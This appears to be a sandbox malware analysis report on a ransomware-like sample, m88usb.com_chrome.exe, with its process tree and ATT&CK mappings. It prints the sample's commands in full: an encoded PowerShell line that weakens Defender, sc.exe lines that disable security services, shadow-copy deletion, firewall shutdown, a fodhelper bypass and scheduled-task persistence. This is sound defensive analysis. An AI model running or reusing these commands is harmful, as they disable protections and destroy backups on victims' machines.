PID 2780 wrote to memory of 2816	2780	m88usb.com_chrome.exe	138
PID 2780 wrote to memory of 4476	2780	m88usb.com_chrome.exe	139
PID 2780 wrote to memory of 5176	2780	m88usb.com_chrome.exe	140
PID 2780 wrote to memory of 2448	2780	m88usb.com_chrome.exe	141
PID 2780 wrote to memory of 2760	2780	m88usb.com_chrome.exe	142
PID 2780 wrote to memory of 5484	2780	m88usb.com_chrome.exe	150
PID 5176 wrote to memory of 3988	5176	cmd.exe	151
PID 4964 wrote to memory of 4684	4964	cmd.exe	152
PID 4476 wrote to memory of 1872	4476	cmd.exe	153
PID 5812 wrote to memory of 4536	5812	cmd.exe	154
PID 2816 wrote to memory of 2992	2816	cmd.exe	155
PID 4816 wrote to memory of 1348	4816	cmd.exe	156
PID 1872 wrote to memory of 1796	1872	net.exe	157
PID 2448 wrote to memory of 3900	2448	cmd.exe	158
PID 4964 wrote to memory of 4068	4964	cmd.exe	159
PID 2780 wrote to memory of 2680	2780	m88usb.com_chrome.exe	160
PID 5804 wrote to memory of 4588	5804	chrome.exe	162
PID 5804 wrote to memory of 4880	5804	chrome.exe	163
PID 5804 wrote to memory of 4588	5804	chrome.exe	162
PID 2780 wrote to memory of 2940	2780	m88usb.com_chrome.exe	165
PID 2780 wrote to memory of 4940	2780	m88usb.com_chrome.exe	167
PID 2780 wrote to memory of 3740	2780	m88usb.com_chrome.exe	169
PID 2780 wrote to memory of 5460	2780	m88usb.com_chrome.exe	170
PID 2780 wrote to memory of 5632	2780	m88usb.com_chrome.exe	171
PID 2780 wrote to memory of 1960	2780	m88usb.com_chrome.exe	175
PID 3740 wrote to memory of 712	3740	net.exe	177
PID 5804 wrote to memory of 3128	5804	chrome.exe	178
PID 5804 wrote to memory of 3128	5804	chrome.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://m88usb.com
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe6b56dcf8,0x7ffe6b56dd04,0x7ffe6b56dd10
    3⤵
    PID:456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1952,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1948 /prefetch:2
    3⤵
    PID:5240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1544,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    PID:2664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1868,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2484 /prefetch:8
    3⤵
    PID:4856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3104,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:3692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:6116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4376,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4392 /prefetch:2
    3⤵
    PID:3144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4636,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4664 /prefetch:1
    3⤵
    PID:5884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5164,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3884 /prefetch:8
    3⤵
    PID:4588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=5360,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3276 /prefetch:8
    3⤵
    PID:4880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5496,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3396 /prefetch:8
    3⤵
    PID:3128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=3260,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3284 /prefetch:8
    3⤵
    PID:1664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5672,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5688 /prefetch:8
    3⤵
    PID:1672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5716,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5632 /prefetch:8
    3⤵
    PID:1452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=208,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5912 /prefetch:8
    3⤵
    PID:6016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5884,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5852 /prefetch:8
    3⤵
    PID:684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5900,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5712 /prefetch:8
    3⤵
    PID:2232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=4444,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4424 /prefetch:2
    3⤵
    PID:5144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5432,i,14304562370907302662,7107677559706398973,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4452 /prefetch:8
    3⤵
    PID:4656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3416
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5228
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5264
- - C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe"
    3⤵
    PID:3440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4620
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4956
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:3532
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:632
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4684
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3900
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2760
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5484
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2680
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2940
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:4940
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:712
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1960

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:4060

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
1⤵
PID:6104

C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\m88usb.com_chrome.exe
1⤵
PID:3416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery